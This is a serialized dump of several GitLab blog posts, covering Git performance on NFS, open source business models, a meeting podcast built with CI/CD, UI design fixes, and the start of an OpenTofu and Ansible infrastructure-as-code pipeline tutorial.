By rewriting most of the RPCs in Go there were side effects\nthat positively improved performance, but conversely there were also occasions\nwhere performance wasn't addressed immediately, but rather added to the backlog\nfor the next iteration.\n\nSince releasing Gitaly 1.0, and updating GitLab to use Gitaly instead of Rugged\nfor all Git operations, we have observed severe performance regressions for\nlarge GitLab instances when using NFS. To address these performance problems in\nGitLab 11.9, we added [feature flags][feature-flag-docs] to enable\nRugged implementations that improve performance for affected GitLab instances.\nThese have been back ported to 11.5-11.8.\n\n### So what's the problem?\n\nWhile the migration was under way, there were noticeable performance regressions.\nIn most cases, these were so-called N + 1 access patterns. One example was the\n[pipeline index view](https://gitlab.com/gitlab-org/gitlab-ce/pipelines/), where\neach pipeline runs on a commit. On that page, GitLab used to call the `FindCommit`\nRPC for each pipeline. To improve performance, a new RPC was added;\n`ListCommitsByOid`. In which case, the object IDs for the commits were collected\nfirst, once request was made to Gitaly to get all the commits and return them to\ncontinue rendering the view.\n\nThis approach was, and still is, successful. However, detecting these N + 1\nqueries is hard. When GitLab is run for development as part of the GDK, or\nduring testing, a special N + 1 detector will raise an error if an N + 1\noccurred. This approach has several shortcomings, for one; most tests will only\ntest the behavior of one entity, not 20. This reduces the likelihood of the\nerror being raised. There is also a way to silence N + 1 errors, for example:\n\n```ruby\nproject = Project.find(1)\n\nGitalyClient.allow_n_plus_1 do\n  project.pipelines.last(20).each do |pipeline|\n    project.repository.find_commit(pipeline.sha)\n  end\nend\n\n# The better solution would be\n\nshas = project.pipelines.last(20).select(&:sha)\nrepository.list_commits_by_oid(shas)\n```\n\nWhatever happened in that block would not be counted. For each of these blocks\nissues were created and added to [an epic][epic-nplus1], however, little\nprogress was made by the teams who had bypassed these checks in this way. This\nwas primarily because these performance issues were not a big\nproblem for GitLab.com, despite the fact they had become a problem for our customers.\n\nThe detected N + 1 issues included a lot of Git object read operations, for\nexample the `FindCommit` RPC. This is especially bad because this requires a\nnew Git process to be invoked to fetch each commit. If a millisecond later\nanother request comes in for the same repository, Gitaly will invoke Git again\nand Git will do all this work again. Before the migration and when GitLab.com\nwas still using NFS, GitLab leveraged Rugged, and used memoization to keep around\nthe Rugged Repository until the Rails request was done. This allowed Rugged to\nload part of the Git repository into memory for faster access for subsequent\nrequests. This property was not recreated in Gitaly for some time.\n\n## Enter cat-file cache\n\nIn GitLab 12.1, Gitaly will cache a repository per Rails session to recreate this\nbehavior with a feature called ['cat-file' cache](https://gitlab.com/gitlab-org/gitaly/merge_requests/1203).\nTo explain how this cache works and its name, it should be noted that objects\nin Git are compressed using [zlib][zlib]. This means that a commit object\nisn't packed and can be located on disk, it seemingly contains garbage:\n\n```\n# This example is an empty .gitkeep file\n$ cat .git/objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391\nxKOR0`\n```\n\nNow cat-file will query for the object, and when using the `-p` flag pretty print\nit. In the following example, the current [Gitaly license][gitaly-mit].\n\n```\n$ git cat-file -p c7344c56da804e88a0bca979a53e1ec1c8b6021e\nThe MIT License (MIT)\n... ommitted\n```\n\nCat-file has another flag, `--batch`, which allows for multiple objects to be\nrequested to the same process through STDIN.\n\n```\n$ git cat-file --batch\nc7344c56da804e88a0bca979a53e1ec1c8b6021e\nc7344c56da804e88a0bca979a53e1ec1c8b6021e blob 1083\nThe MIT License (MIT)\n\n... ommitted\n```\n\nInspecting the Git process using [strace][strace] allows us to inspect how Git\namortizes expensive operations to improve performance. The output on STDOUT and\nthe strace are available [as a snippet](https://gitlab.com/snippets/1858975).\n\nThe process is reading the first input from STDIN, or file descriptor 0, at\n[line 141](https://gitlab.com/snippets/1858975#L141). It starts writing the output\nabout [40 syscalls later](https://gitlab.com/snippets/1858975#L180). In between\nthere are two important operations performed: an\n[mmap of the pack file index](https://gitlab.com/snippets/1858975#L167), and\nanother [mmap of the pack file itself](https://gitlab.com/snippets/1858975#L177).\nThese operations store part of these files in memory, so that they are available\nthe next time they are needed.\n\nIn the snippet, we've requested the same blob on the same process again. This a\nsyntactic follow-up request, but even when the next request would've been `HEAD`\nGit would have to do a considerable amount less work to come up with the object\nthat `HEAD` deferences to.\n\nKeeping a cat-file process around for subsequent requests was shipped in\nGitLab 11.11 behind the `gitaly_catfile-cache` feature flag, and will be\n[enabled by default][remove-ff] in GitLab 12.1.\n\n### Next steps\n\nThe `cat-file` cache is one of many improvements being made to improve Git IO\npatterns in GitLab, to mitigate slow IO when using NFS and improve performance\nof GitLab. Particularly, progress has been made in GitLab 11.11, and continues\nto be made in eliminating the worst N + 1 access patterns from GitLab. You can\nfollow [gitlab-org&1190][epic-worst-io] for\nthe full plan and progress.\n\nThe Gitaly team's highest priority is\n[automatically enabling Rugged][automatic-rugged]\nfor GitLab servers using NFS to immediately mitigate the performance\nregressions until performance improvements are sufficiently complete in GitLab\nand Gitaly, allowing Rugged to again be removed.\n\nIn the future, we will remove the need for NFS with\n[High Availability for Gitaly][ha-epic], providing both performance and\navailability, and eliminating the burden of maintaining an NFS cluster.\n\nCover image by [Jannes Glas](https://unsplash.com/@jannesglas) on [Unsplash](https://unsplash.com/photos/P6iOpqQpwwU)\n{: .note}\n\n[automatic-rugged]: https://gitlab.com/gitlab-org/gitlab-ce/issues/60931\n[epic-nplus1]: https://gitlab.com/groups/gitlab-org/-/epics/827\n[epic-worst-io]: https://gitlab.com/groups/gitlab-org/-/epics/1190\n[feature-flag-docs]: https://docs.gitlab.com/ee/administration/nfs.html#improving-nfs-performance-with-gitlab\n[gitaly-mit]: https://gitlab.com/gitlab-org/gitaly/blob/1b09f13374be5b272d40b3b089372adae2801f81/LICENSE\n[gitaly-nfs-blog]: /2018/09/12/the-road-to-gitaly-1-0/\n[ha-epic]: https://gitlab.com/groups/gitlab-org/-/epics/842\n[remove-ff]: https://gitlab.com/gitlab-org/gitaly/issues/1671\n[strace]: https://strace.io/\n[zlib]: https://www.zlib.net/\n",[1067,1268],{"slug":28720,"featured":6,"template":678},"git-performance-on-nfs","content:en-us:blog:git-performance-on-nfs.yml","Git Performance On Nfs","en-us/blog/git-performance-on-nfs.yml","en-us/blog/git-performance-on-nfs",{"_path":28726,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28727,"content":28733,"config":28738,"_id":28740,"_type":16,"title":28741,"_source":17,"_file":28742,"_stem":28743,"_extension":20},"/en-us/blog/thoughts-on-open-source",{"title":28728,"description":28729,"ogTitle":28728,"ogDescription":28729,"noIndex":6,"ogImage":28730,"ogUrl":28731,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28731,"schema":28732},"What to consider with an open source business model","CEO Sid Sijbrandij discusses the role of transparency and contribution in an open source business model.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682919/Blog/Hero%20Images/opensourcecover.jpg","https://about.gitlab.com/blog/thoughts-on-open-source","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What to consider with an open source business model\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2019-07-05\",\n      }",{"title":28728,"description":28729,"authors":28734,"heroImage":28730,"date":28735,"body":28736,"category":813,"tags":28737},[11618],"2019-07-05","\nAn open source business model used to be relatively rare but successes at companies like Red Hat and our own have changed that. As the idea of open source continues to gain traction with startups, our CEO [Sid Sijbrandij](/company/team/#sytses) talked with [OSS Capital](https://oss.capital) founder Joseph “JJ” Jacks about some of the changing – and nuanced – requirements to play in this complicated and competitive space.\n\n## How to build a business model for open source software businesses\n\nOpen source has always required a social contract between the owners of the project and the community that uses and contributes to it, Sid explains, and that’s something GitLab benefited from when the company was experimenting with the idea of [how to get paid](/blog/monetizing-and-being-open-source/). But today, with an [“open core” business model](/blog/gitlab-is-open-core-github-is-closed-source/) involving both open source and proprietary code, there’s another level, one where the community can have a much bigger voice on releases. “How much of what you make ends up in the open source and how much is proprietary?” Sid asks. “We try to find a good balance then when we go for a few releases where we're a bit weak on the open source side, people will post comments on our blog post and we can point to the stuff that's coming down the pipe. The wider community keeps us honest.”\n\nJJ, whose company is focused on investing in commercial open source startups, asks Sid about the ways open source licensing has changed. It’s a broad landscape, Sid offers: “You can go from the free software movement to open source to open core to these new licenses that are now made by Redis and Mongo and Confluent, the so-called non-compete licenses, which say it's kind of open source except if you're a hyper cloud, then you have to pay us.”\n\nThe “freemium” business model has also come along. “(That) makes it very easy to get trials and you can use it for free for a long time, but it's commercial. And then you have the completely proprietary Oracle light model. So licensing is much more of a spectrum today.”\n\n> The wider community keeps us honest.\n\n## Time to contribute\n\nThe spectrum of licensing isn’t necessarily a bad thing. Sid points to the free software movement that requires a user to contribute as a positive sign, but admits there is still a long way to go before this behavior is second nature. Companies try to put restrictions in, or to enforce things via copyright, Sid says, “but we’re not there yet, not by a long stretch. Lots of car manufacturers don’t contribute back to Linux so please start doing that everyone.”\n\nOf course, contributions from the community can only take a company so far. “Open core allowed us to compete with the proprietary vendors,” Sid says. “GitLab would not have survived as an open source project because open source projects sometimes implode under their popularity. There are some great examples of projects that did well – Kubernetes, Linux, and PostgreSQL – but without our business model we would not be able to compete at this point in this market with Microsoft and Atlassian.”\n\n> Open core allowed us to compete with the proprietary vendors.\n\n## Transparency in all things\n\nJJ wonders how much transparency and expectation setting have helped GitLab as an open core company, and Sid’s quick to point out it’s essential. “[Transparency](https://handbook.gitlab.com/handbook/values/#transparency) is in our top three values and we started with that because we didn’t want to alienate the wider community.” Transparency shortens the feedback loop and makes it more straightforward to deal with mistakes or challenging situations. When we [decided to merge both of GitLab’s code bases](/blog/merging-ce-and-ee-codebases/), we did it openly and honestly, wrote a blog post about it, and then waited to see how it was received. “I think by being transparent about our plan up front, what could have turned into a big flame war was a really positive experience for both the people at the company working really hard on this project, but also the wider community feeling like we take their interests seriously. And if we would have made a mistake, this was a proposal. They could have just said, ‘Okay, you're making a mistake here and there,’ and we could have fixed it before people were upset, and we lost trust.”\n\nWould Sid recommend “transparency first” to a startup open core company? Absolutely and it has to be there from the beginning, he says. “Values are really hard to introduce later in a company. I'm pushing for a bit more transparency now, and it's super, super, super, super hard. So, if you plan to do it, do it from the start, and (understand) it feels very counterintuitive to be open. And there are some areas where it's naturally harder to be as transparent. Security comes to mind. So, it's a daily struggle. People see that it works, but it requires effort at any layer of the company to actually do it, but I'm really proud of how far we've come.”\n\n_GitLab CEO Sid Sijbrandij occasionally sits down for a \"[pick your brain](/handbook/eba/ceo-scheduling/#pick-your-brain-meetings)\"\nmeeting with people seeking advice on open source, remote work, or a discussion of other things related to GitLab. Read [other posts in the series here](/blog/tags.html#pick-your-brain)._\n\nCover image by [Natasha Miller](https://unsplash.com/@tashography?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com)\n{: .note}\n",[267,2368,815,815],{"slug":28739,"featured":6,"template":678},"thoughts-on-open-source","content:en-us:blog:thoughts-on-open-source.yml","Thoughts On Open Source","en-us/blog/thoughts-on-open-source.yml","en-us/blog/thoughts-on-open-source",{"_path":28745,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28746,"content":28752,"config":28757,"_id":28759,"_type":16,"title":28760,"_source":17,"_file":28761,"_stem":28762,"_extension":20},"/en-us/blog/group-conversation-podcast",{"title":28747,"description":28748,"ogTitle":28747,"ogDescription":28748,"noIndex":6,"ogImage":28749,"ogUrl":28750,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28750,"schema":28751},"How we turn our group conversations into a podcast with GitLab CI/CD","Want to listen to meetings on the go? Senior SRE John Jarvis explains how he turned his favorite remote meetings at GitLab into podcast format.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678626/Blog/Hero%20Images/group-conversation-podcast.jpg","https://about.gitlab.com/blog/group-conversation-podcast","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we turn our group conversations into a podcast with GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Jarvis\"}],\n        \"datePublished\": \"2019-07-03\",\n      }",{"title":28747,"description":28748,"authors":28753,"heroImage":28749,"date":28754,"body":28755,"category":734,"tags":28756},[21791],"2019-07-03","\n[Group conversations](/handbook/group-conversations/) are my favorite remote meetings at\nGitLab because they are a great way to get an inside peek at what different teams are doing,\nhow they collaborate, and what features you might find in future GitLab releases.\nYou may already know that we have been livestreaming these on\n[GitLab Unfiltered](https://www.youtube.com/channel/UCMtZ0sc1HHNtGGWZFDRTh5A) for anyone curious about how GitLab operates.\n\nLately, when I have time to listen to these unfiltered discussions I am either not at a screen or not in a place\nwhere it is easy to watch a video. After seeing how [Support turned their weekly meeting into a podcast](/blog/how-we-turned-40-person-meeting-into-a-podcast/),\nI thought it would be nice to make the GitLab group conversation meetings into a podcast as well!\n\n[Subscribe to the GitLab Group Conversations podcast](https://gitlab-com.gitlab.io/gl-infra/podcasts/#podcasts)\n{: .alert .alert-gitlab-purple .text-center}\n\nNow in addition to the livestreams and videos, there is a podcast feed for GitLab group conversations.\nListen to these conversations on your favorite podcast player by accessing the feed on\n[the Group Conversations podcast page](https://gitlab-com.gitlab.io/gl-infra/podcasts/#podcasts).\n\nIf you like the format, please let us know by tweeting us [@GitLab](https://twitter.com/gitlab)\nand we will consider adding more!\n\n### Here is a bit more detail about how these podcasts are generated\n\n* Teams that livestream group conversations\n  [follow instructions  for broadcasting it live](/handbook/group-conversations/#livestream-the-video)\n  and creating the video. When the meeting is over, the video is made available on GitLab Unfiltered.\n\n* A daily GitLab CI job in the [podcasts project](https://gitlab.com/gitlab-com/gl-infra/podcasts)\n  downloads the group conversation videos and converts them to audio files. It's easy to create [pipeline schedules in GitLab](https://docs.gitlab.com/ee/ci/pipelines/schedules.html).\n\n  ![The podcast schedule](https://about.gitlab.com/images/blogimages/podcast-schedule.png){: .shadow.medium.center}\n\n* An RSS feed is generated and audio files are uploaded to object storage from the CI job\n\n* GitLab pages is used to host a static site to link to the feed\n\n* This is all automated in a CI pipeline that runs every hour!\n\n![Podcast pipelines](https://about.gitlab.com/images/blogimages/podcast-pipeline.png){: .shadow.medium.center}\n\nI hope you have the opportunity to tune into the group conversations at GitLab and\nalso take advantage of GitLab CI features like schedules to help automate your own\nworkflows!\n\nPhoto by [Lee Campbell](https://unsplash.com/@leecampbell?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/headphones?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[676,3798,110],{"slug":28758,"featured":6,"template":678},"group-conversation-podcast","content:en-us:blog:group-conversation-podcast.yml","Group Conversation Podcast","en-us/blog/group-conversation-podcast.yml","en-us/blog/group-conversation-podcast",{"_path":28764,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28765,"content":28771,"config":28776,"_id":28778,"_type":16,"title":28779,"_source":17,"_file":28780,"_stem":28781,"_extension":20},"/en-us/blog/beautifying-our-ui",{"title":28766,"description":28767,"ogTitle":28766,"ogDescription":28767,"noIndex":6,"ogImage":28768,"ogUrl":28769,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28769,"schema":28770},"What we're doing to beautify our UI","We’re actively working to make our UI more aesthetically pleasing. Learn how we started with a UX spike and where we’re going next.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680648/Blog/Hero%20Images/UXpost.jpg","https://about.gitlab.com/blog/beautifying-our-ui","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What we're doing to beautify our UI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christie Lenneville\"}],\n        \"datePublished\": \"2019-07-02\",\n      }",{"title":28766,"description":28767,"authors":28772,"heroImage":28768,"date":28773,"body":28774,"category":299,"tags":28775},[19691],"2019-07-02","\n\nDesigners like to create beautiful UIs. That’s no surprise.\n\nBut visual design can be really difficult to maintain in an open source product like GitLab, where we have thousands of contributors and a strikingly fast feature velocity.\n\n## Why it’s hard\n\nWe deliberately keep the contribution barrier for GitLab as low as possible, which means small UI bugs tend to slip into the product. We’ve also had a historical tendency to focus our efforts more on value-added delivery than visual refinement.\n\nVelocity and feature delivery are really important, so this mindset isn’t a bad thing. But, aesthetics are important, too. They have a real and meaningful impact on usability and credibility, both of which are key concerns for GitLab’s UX team.\n\n## What we’re doing about it\n\nWe’re working hard to make GitLab the most usable DevOps tool on the market. Part of that effort is making our UI as visually pleasing as we can without sacrificing speed. At a high level our plan is to:\n\n### 1. Focus on tactical fixes that can happen right away\n\nThis blog post includes some examples of what we’ve already accomplished and shows you where to find what we’re doing next.\n\n### 2. Update our visual design strategy\n\nVisual design trends evolve at a pretty rapid clip, and we’re due for an update. That’s why we’re so pleased to have [Jeremy Elder](/company/team/#jeremyelder) join our team as a senior product designer with a dedicated focus on visual design. Along with being an [excellent visual designer](https://dribbble.com/jeremyelder), Jeremy brings a deep background in illustration and design systems. He’s already jumped in to help refine a number of UI issues (after only one month of being on the team). We can’t wait to see where he takes us!\n\n### 3. Build out our design system\n\nToday, [Pajamas](https://design.gitlab.com/) is more of an idea than a reality, but not for much longer. We’re aggressively designing, documenting, and building out reusable components that will bring refinement and consistency to our UI and enable our product designers and frontend engineers to move much faster. That only means good things for our future velocity!\n\n## More about tactical fixes\n\nIn June 2019, a small team of GitLab product designers, [Annabel Gray](/company/team/#annabeldunstone), [Marcel van Remmerden](/company/team/#mvremmerden), and [Jarek Ostrowski](/company/team/#jaaaaarek), went heads down for almost three weeks on a UX spike. During this period, they rapidly closed 43 issues in our [Beautifying our UI](https://gitlab.com/groups/gitlab-org/-/epics/989) epic (take a look to see what we’re still planning to do).\n\nThey addressed a lot of issues during the UX spike, but I’d like to highlight a few that are especially exciting:\n\n### New threaded discussion design\n\nOur previous design for threaded discussions included a lot of boxes and borders, making it difficult to quickly scan the page to find related content. Marcel removed some of the visual cruft and used subtle background colors to help users distinguish between components more easily.\n\nWhile we have other long-term changes we’d like to make to discussions, this was a great start.\n\n![Before](https://about.gitlab.com/images/blogimages/beautifying-our-ui/discussion-before.jpg){: .shadow.center.medium}\nBefore\n{: .note.text-center}\n\n![After](https://about.gitlab.com/images/blogimages/beautifying-our-ui/discussion-after.jpg){: .shadow.center.medium}\nAfter\n{: .note.text-center}\n\nWe're happy to see that members of the wider GitLab community noticed the effort on this change and responded positively.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Thanks \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> for quick/easy upgrade to GitLab 12.0, glad to see discussions UI design cleaned up \u003Ca href=\"https://t.co/Va28ssb20Y\">https://t.co/Va28ssb20Y\u003C/a>\u003C/p>&mdash; David Puplava (@DavidPuplava) \u003Ca href=\"https://twitter.com/DavidPuplava/status/1143010489460514821?ref_src=twsrc%5Etfw\">June 24, 2019\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n### Prioritized merge request “changes” in the content hierarchy\n\nIn a merge request, **Changes** is one of the most-clicked tabs. Unfortunately, at certain breakpoints, the tab was hidden, requiring users to scroll to see it (or sometimes they were even forced to resize their window).\n\nAnnabel fixed the tab component throughout the product, accounting for all breakpoints, whether or not one or both sidebars are open, and whether or not the tab bar includes buttons. This ensures that the **resolved discussions** component wraps to the next line on smaller screen sizes, leaving more room for **Changes** to always display correctly.\n\n![Before](https://about.gitlab.com/images/blogimages/beautifying-our-ui/breakpoints-before.jpg){: .shadow.center.medium}\nBefore\n{: .note.text-center}\n\n![After](https://about.gitlab.com/images/blogimages/beautifying-our-ui/breakpoints-after.jpg){: .shadow.center.medium}\nAfter\n{: .note.text-center}\n\n### Align merge request icons\n\nAs a final example, Jarek focused on correctly aligning the icons on the merge request page. It’s a subtle change that refines the visual design and makes the page easier to scan (scheduled for release in 12.1).\n\n![Before](https://about.gitlab.com/images/blogimages/beautifying-our-ui/mricons-before.jpg){: .shadow.center.medium}\nBefore\n{: .note.text-center}\n\n![After](https://about.gitlab.com/images/blogimages/beautifying-our-ui/mricons-after.jpg){: .shadow.center.medium}\nAfter\n{: .note.text-center}\n\n### We’re excited to do more\n\nThis recent spike was a great start, but we’re all excited to make more improvements to GitLab's UI. We’re currently exploring how we could [make the UI for our discussions easier to understand](https://gitlab.com/gitlab-org/gitlab-design/issues/437) and the best ways to [display threads](https://gitlab.com/gitlab-org/gitlab-ce/issues/53937). We’re also in the process of creating [new default avatars](https://gitlab.com/gitlab-org/gitlab-ce/issues/62185).\n\nIf any of these topics interest you or if you have some feedback on our ideas, please chime in and let us know what you think of the UI as it evolves, we would love to hear from you!\n\nPhoto by [Martin Reisch](https://unsplash.com/@safesolvent?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/@safesolvent?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText).\n",[2249,2250,2248],{"slug":28777,"featured":6,"template":678},"beautifying-our-ui","content:en-us:blog:beautifying-our-ui.yml","Beautifying Our Ui","en-us/blog/beautifying-our-ui.yml","en-us/blog/beautifying-our-ui",{"_path":28783,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28784,"content":28790,"config":28797,"_id":28799,"_type":16,"title":28800,"_source":17,"_file":28801,"_stem":28802,"_extension":20},"/en-us/blog/using-ansible-and-gitlab-as-infrastructure-for-code",{"ogTitle":28785,"schema":28786,"ogImage":28787,"ogDescription":28788,"ogSiteName":1180,"noIndex":6,"ogType":1181,"ogUrl":28789,"title":28785,"canonicalUrls":28789,"description":28788},"Build enterprise-grade IaC pipelines with GitLab DevSecOps","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use GitLab and Ansible to create infrastructure as code\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brad Downey\"},{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-07-01\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1746211002/zlet4rmfg2z0j6lg16mc.png","Learn how to transform infrastructure automation into scalable, secure pipelines using GitLab, Terraform/OpenTofu, and Ansible with integrated security scanning and CI/CD.","https://about.gitlab.com/blog/using-ansible-and-gitlab-as-infrastructure-for-code",{"heroImage":28787,"body":28791,"authors":28792,"updatedDate":28794,"date":28795,"title":28785,"tags":28796,"description":28788,"category":734},"Infrastructure-as-code tools like TerraForm/OpenTofu and configuration management tools like Ansible are often part of mission-critical workflows. Such projects sometimes start as simple automations and are not necessarily subject to the same software development best practices and regulatory controls as business software applications.\n\nAt the same time many of these automations are developed by system engineers or infrastructure engineers who may not have as much experience with DevOps, DevSecOps, CI/CD, and test automation practices. This becomes even more complicated when you work in a large enterprise organization with multiple engineers and siloed teams.\n\nAt GitLab we know DevSecOps and we have been using our unified DevSecOps platform for enterprise-scale, mission-critical automation workloads for more than 10 years. We have thousands of customers who use GitLab as a foundation for infrastructure as code (IaC), automation, cloud, and platform engineering practices.\n\nIn this article, we showcase some of the key features teams can leverage to turn their powerful automations into scalable and auditable software delivery pipelines.\n\n![Automation listing](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433380/oipm6tq8qutoh1ctredd.png)\n\n## Implementation\n\n[This project](https://gitlab.com/gl-demo-ultimate-saberkan/public/ansible-demo) demonstrates a comprehensive DevOps workflow that combines the power of OpenTofu with modern Ansible practices, all orchestrated through GitLab CI/CD pipelines. The solution showcases how to provision an AWS lab environment using OpenTofu components integrated with GitLab, and then deploy a Tomcat web server using modern Ansible, including custom execution environments and collections.\n\nThe project leverages numerous GitLab features:\n\n* Building and storing custom Ansible execution environments in the [GitLab Container Registry](https://docs.gitlab.com/user/packages/container_registry/)\n* [Security scanning for infrastructure as code and container vulnerabilities](https://docs.gitlab.com/user/application_security/iac_scanning/)\n* Integrating [Ansible linting with GitLab's Code Quality](https://docs.gitlab.com/user/application_security/iac_scanning/)\n* Storing Tomcat binaries in the [Generic Package Repository](https://docs.gitlab.com/user/packages/generic_packages/)\n* Utilizing [CI/CD environment variables for configuration](https://docs.gitlab.com/ci/variables/)\n\nThe entire workflow is automated through a [GitLab pipeline](https://docs.gitlab.com/ci/pipelines/) that handles everything from infrastructure provisioning to application deployment and security testing.\n\n![ Workflow automated through a GitLab pipeline ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433380/giatmolwn9inusi4cev2.png)\n\n### Provisioning the environment with OpenTofu\n\nThe project begins with provisioning an AWS lab environment using OpenTofu. This is achieved through native integration with [GitLab's OpenTofu components](https://docs.gitlab.com/user/infrastructure/iac/), which streamline the infrastructure provisioning process. The pipeline includes validate, plan, and apply stages that ensure proper infrastructure deployment while maintaining GitLab's IaC best practices.\n\nThis project is leveraging [GitLab's Terraform State management](https://docs.gitlab.com/user/infrastructure/iac/terraform_state/) and [Terraform Module Registry](https://docs.gitlab.com/user/packages/terraform_module_registry/) capabilities. Both of these features are compatible with OpenTofu and HashiCorp Terraform. GitLab OpenTofu components can also be used with HashiCorp Terraform with [slight customization](https://gitlab.com/components/opentofu#can-i-use-this-component-with-terraform). You'll need to build your own image that includes a script named `gitlab-tofu` to keep it compatible with the component jobs then you can then modify `tofu` commands with `terraform` commands.\n\nThe OpenTofu module release component is a sample demonstrating how to build a Terraform module and store it in GitLab's Terraform module registry. The `provision_lab.tf` file imports this module directly from GitLab to deploy the lab environment in AWS. Upon completion, it outputs an inventory file containing the public IP address of the provisioned instance, which can be used in configuration management stages with Ansible.\n\n```\n# From .gitlab-ci.yml\n - component: gitlab.com/components/opentofu/module-release@1.1.0\n   inputs:\n     root_dir: tofu\n     as: 🔍 tofu-module-release\n     stage: 🏗️ build-tofu-module\n     module_version: 0.0.1\n     module_system: aws\n     module_name: aws-lab\n     root_dir: tofu/modules/ansible-demo/aws-lab\n     rules:\n       - if: \"$CI_COMMIT_BRANCH\"\n         when: manual\n```\n\n```\n# From provision_lab.tf\nmodule \"aws-lab\" {\n  source = \"https://gitlab.com/api/v4/projects/67604719/packages/terraform/modules/aws-lab/aws/0.0.1\"\n}\n```\n\nThe validate, plan, and deploy components are configured with `**auto_define_backend: true**`, which automatically integrates with GitLab's built-in Terraform state backend. This approach eliminates the need for manual backend configuration or external state storage solutions like S3 buckets.\n\n```\n# From gitlab-ci.yml\n- component: gitlab.com/components/opentofu/apply@0.55.0\n  inputs:\n    version: 0.55.0\n    opentofu_version: 1.8.8\n    root_dir: tofu\n    state_name: demo\n    as: ✅ tofu-apply\n    stage: 🏗️ provision-lab\n    auto_define_backend: true\n    rules:\n      - if: \"$CI_COMMIT_BRANCH\"\n        when: manual\n```\n\n![Validate, plan, and deploy components are configured with `auto_define_backend: true`](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433380/giatmolwn9inusi4cev2.png)\n\nThe infrastructure configuration creates a CentOS Stream 9 EC2 instance with appropriate security groups for SSH access from GitLab runners and HTTP access to the Tomcat server.\n\nSSH access and HTTP configuration are configuration thought [GitLab CI/CD environment variables](https://docs.gitlab.com/ci/variables/#define-a-cicd-variable-in-the-ui).\n\n![SSH access and HTTP configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433381/cmqtzg6ahz8ua5w8ybgs.png)\n\nFor secure cloud access, the project implements [GitLab's OpenID Connect integration](https://docs.gitlab.com/ci/cloud_services/aws/) with AWS, using temporary credentials through AWS Security Token Service (STS):\n\n```\n# From .gitlab-ci.yml\n.tofu_aws_setup:\n id_tokens:\n   OIDC_TOKEN:\n     aud: https://gitlab.com\n before_script:\n   - echo \"${OIDC_TOKEN}\" > /tmp/web_identity_token\n   - export AWS_PROFILE=\"\"\n   - export AWS_ROLE_ARN=\"${AWS_ROLE_ARN}\"\n   - export AWS_WEB_IDENTITY_TOKEN_FILE=\"/tmp/web_identity_token\"\n```\n\n### Building the Ansible execution environment\n\nA key aspect of modern Ansible deployments is the use of [execution environments](https://docs.ansible.com/ansible/latest/getting_started_ee/index.html), containerized versions of Ansible with all necessary dependencies including roles and collections pre-installed. This project creates a custom execution environment based on Fedora 39, which includes ansible-core, ansible-runner, and additional collection such as ansible.posix required in this example for firewall and selinux configuration.\n\nThe third-party roles and collections in this project are natively downloaded from the community Ansible Galaxy repository. This approach leverages the community ecosystem of reusable Ansible content, as shown in the execution environment configuration. While this demo utilizes community Ansible resources, the exact same pipeline implementation is fully compatible with Red Hat Ansible Automation Platform. The pipeline structure remains identical, with only the content sources changing. Organizations using the enterprise version can simply redirect their automation content sources to their private Automation Hub instead of the default community Ansible Galaxy. According to the official enterprise documentation, this can be achieved by [configuring your private Automation Hub server and access token in the ansible.cfg](https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/1.2/html/getting_started_with_red_hat_ansible_automation_hub/proc-configure-automation-hub-server#proc-configure-automation-hub-server).\n\n```\n# From execution-environment.yml\n---\nversion: 3\n\nimages:\n  base_image:\n    name: quay.io/fedora/fedora:39\n\ndependencies:\n  ansible_core:\n    package_pip: ansible-core\n  ansible_runner:\n    package_pip: ansible-runner\n  system:\n    - openssh-clients\n    - sshpass\n  galaxy:\n    collections:\n    - name: ansible.posix\n      version: \">=2.0.0\"\n```\n\n![Execution environment pushed to GitLab's Container Registry ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750433384/dh1o2ojjmb04ru4tfr9k.png)\n\nThe execution environment is defined in a YAML file and built using ansible-builder, then pushed to [GitLab's Container Registry](https://docs.gitlab.com/user/packages/container_registry/). This approach ensures consistent execution environments across different systems and simplifies dependency management.\n\n```\n# From gitlab-ci.yml\n🔨 ansible-build-ee:\n  stage: 📦 ansible-build-ee\n  image: 